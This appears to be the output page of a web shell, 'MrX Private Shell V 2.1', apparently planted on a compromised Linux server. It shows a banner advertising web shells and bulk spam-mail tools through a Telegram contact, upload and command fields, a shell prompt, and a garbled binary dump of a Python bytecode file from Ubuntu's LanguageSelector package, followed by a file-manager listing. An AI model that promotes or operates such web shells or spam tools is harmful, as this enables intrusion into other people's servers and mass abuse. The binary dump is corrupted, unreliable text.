__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

���g���D�SSKJr SSKJr SSKr\R"SS\5 SSKrSSKrSSKrSSK	r	SSK
Jr SSKr
SSK7 SSK
Jr "S	S
\5r\S:XaF\"SS
9r\R)\R*R-55 \"\R155 gg)�)�print_function)�absolute_importN�ignorezapt API not stable yet)�
LocaleInfo)�*)�macrosc�L�\rSrSrSrS
SjrSrSrSrSr	Sr
S	rS
rSr
g)�LanguageSelectorBase�z&base class for language-selector code c�T�Xl[SUR5UlSUlg)N�languagelist)�_datadirr�_localeinfo�_cache)�self�datadirs  �C/usr/lib/python3/dist-packages/LanguageSelector/LanguageSelector.py�__init__�LanguageSelectorBase.__init__s!���
�%�n�d�m�m�D������c�b�[RRURU5Ulg)N)�LanguageSelector�	LangCache�LanguageSelectorPkgCacherr)r�progresss  r�	openCache�LanguageSelectorBase.openCache s#��&�0�0�I�I�$�JZ�JZ�\d�e��rc�R�UR(aK[R"UR[R
R
URSS55nO [R"UR5n/nUR5HnURU5 M U$)zP
return a list of language packs that are not installed
but should be installed
�data�pkg_depends)	r�language_support_pkgs�LanguageSupportr�os�path�join�missing�append)r�lsr&�packs    r�getMissingLangPacks�(LanguageSelectorBase.getMissingLangPacks#sv��
�=�=�&�6�6�t�{�{��G�G�L�L�����
�F�H�B�'�6�6�t�{�{�C�B����J�J�L�D��N�N�4� �!��rc��[R"5nURSS5n[R"USS9nUR	U5 g)�0write various LC_* variables (e.g. de_DE.UTF-8) �com.ubuntu.LanguageSelector�/��dbus_interfaceN)�dbus�	SystemBus�
get_object�	Interface�SetSystemDefaultFormatsEnv)r�
sysFormats�bus�obj�ifaces     r�writeSysFormatsSetting�+LanguageSelectorBase.writeSysFormatsSetting2s>���n�n����n�n�:�3�?�����s�2O�P��
�(�(��4rc��[R"5nURSS5n[R"USS9nUR	U5 g)z1write the system "LANGUAGE" and "LANG" variables r.r/r0N)r2r3r4r5�SetSystemDefaultLanguageEnv)r�sysLanguager8r9r:s     r�writeSysLanguageSetting�,LanguageSelectorBase.writeSysLanguageSetting9s>���n�n����n�n�:�3�?�����s�2O�P��
�)�)�+�6rc�~�[R"5nUS:Xa.[R"S[R"S5-5 g[
R"5nURSSU-5n[
R"USS9n[R"URU5nURUS	5 g)
r-rz&No formats locale saved for user '%s'.�USERN�org.freedesktop.Accounts� /org/freedesktop/Accounts/User%i�org.freedesktop.Accounts.Userr0�	SYSLOCALE)
r#�getuid�warnings�warn�getenvr2r3r4r5r�LangpackMacrosr�SetFormatsLocale)r�userFormats�uidr8r9r:�macrs       r�writeUserFormatsSetting�,LanguageSelectorBase.writeUserFormatsSetting@s����i�i�k���!�8��M�M�B�R�Y�Y�v�EV�V�W���n�n����n�n�7�>��D�F�����s�3R�S���$�$�T�]�]�K�@��
���t�K�0�1rc�T�[R"5nUS:Xa.[R"S[R"S5-5 g[
R"5nURSSU-5n[
R"USS9nURURU55 g)	z/write the user "LANGUAGE" and "LANG" variables rz No language saved for user '%s'.rCNrDrErFr0)r#rHrIrJrKr2r3r4r5�SetLanguage�validateLangList)r�userLanguagerOr8r9r:s      r�writeUserLanguageSetting�-LanguageSelectorBase.writeUserLanguageSettingMs����i�i�k���!�8��M�M�<�r�y�y��?P�P�Q���n�n����n�n�7�>��D�F�����s�3R�S��
���$�/�/��=�>rc�b�/nSnURS5HinUS:XaURSS/5  OOURS5(dUS:XaURU5 SnMOU(aMXURU5 Mk SR	U5nXQ:wa[
R"S5 U$)z>
remove elements which can be assumed to cause user confusion
F�:�en_US�en�en_Tz.The language list was modified by the program.)�split�extend�
startswithr'r%rIrJ)rrV�tmp�is_eng�lang�validatedLangLists      rrU�%LanguageSelectorBase.validateLangListYs������� �&�&�s�+�D��w���
�
�G�T�?�+������'�'�4�4�<��
�
�4� ����V��
�
�4� �,� �H�H�S�M���,��M�M�J�K� � r)rrrN)�)�__name__�
__module__�__qualname__�__firstlineno__�__doc__rrr*r;r@rQrWrU�__static_attributes__�rrr
r
s.��1��f�
�5�7�2�
?�!rr
�__main__z..)r)�
__future__rrrI�filterwarnings�
FutureWarning�aptr2r#r!�LanguageSelector.LocaleInfor�LanguageSelector.LangCacher�LanguageSelector.utilsr�objectr
rg�lsbrr�
OpProgress�print�verifyPackageListsrmrr�<module>r{s���&�&������":�M�J�
��	��2�!�$�#�T!�6�T!�n�z��
�t�
,�C��M�M�#�,�,�)�)�+�,�	�#�
 �
 �
"�#�r

Filemanager

Name Type Size Permission Actions
ImConfig.cpython-313.pyc File 2.86 KB 0644
LangCache.cpython-313.pyc File 9.35 KB 0644
LanguageSelector.cpython-313.pyc File 6.33 KB 0644
LocaleInfo.cpython-313.pyc File 13.4 KB 0644
__init__.cpython-313.pyc File 156 B 0644
macros.cpython-313.pyc File 7.48 KB 0644
utils.cpython-313.pyc File 2.19 KB 0644
xkb.cpython-313.pyc File 4.6 KB 0644
Filemanager